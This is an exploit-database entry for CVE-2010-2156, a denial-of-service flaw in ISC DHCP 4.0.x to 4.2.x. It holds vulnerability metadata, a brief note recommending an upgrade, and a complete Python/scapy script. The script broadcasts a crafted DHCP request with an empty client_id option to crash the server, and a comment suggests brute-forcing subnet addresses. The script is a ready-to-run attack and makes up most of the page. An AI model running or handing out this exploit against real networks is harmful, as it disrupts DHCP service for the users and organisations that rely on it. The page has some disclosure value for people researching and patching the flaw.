isc-dhcpd DoS

vendor:

DHCP

by:

sid

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: DHCP

Affected Version From: 4.0.x

Affected Version To: 4.2.x

Patch Exists: YES

Related CWE: CVE-2010-2156

CPE: a:isc:dhcp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2010

This exploit sends a malicious DHCP request to the target DHCP server, causing it to crash.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of ISC DHCP.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# Exploit title: isc-dhcpd DoS
# Date: 03/07/2010	
# Author: sid
# Software Link: https://www.isc.org/software/dhcp
# Version:  4.0.x, 4.1.x, 4.2.x 
# CVE: cve-2010-2156
# ps: is possible make a bruteforce on subnet ip address to find a correct value. 
# 


import sys
import string

if len(sys.argv) is 1:
	print("Usage: " + sys.argv[0] + "-ip=<legal ip in subnet>")
	print("Example: " + sys.argv[0] + " -ip=192.168.1.100")
	sys.exit(0)

for i in range(len(sys.argv)):
	if string.find(sys.argv[i],"-ip") is 0:
		globals()['ip'] = sys.argv[i].split('=')[1]

from scapy.all import *

globals()['verbose'] = 2

def msg(string, level):
    if globals()['verbose'] >= level:
        print(string)

msg("attack...",2)
p=(Ether(src="aa:aa:aa:aa:aa:aa",dst="ff:ff:ff:ff:ff:ff")/IP(dst="255.255.255.255")/UDP(sport=68,dport=67)/
BOOTP(ciaddr=globals()['ip'],chaddr="\xaa\xaa\xaa\xaa\xaa\xaa")/
DHCP(options=[("message-type","request"),("client_id",""),("end")]))

if p:
	p.show()
sendp(p)

#EOF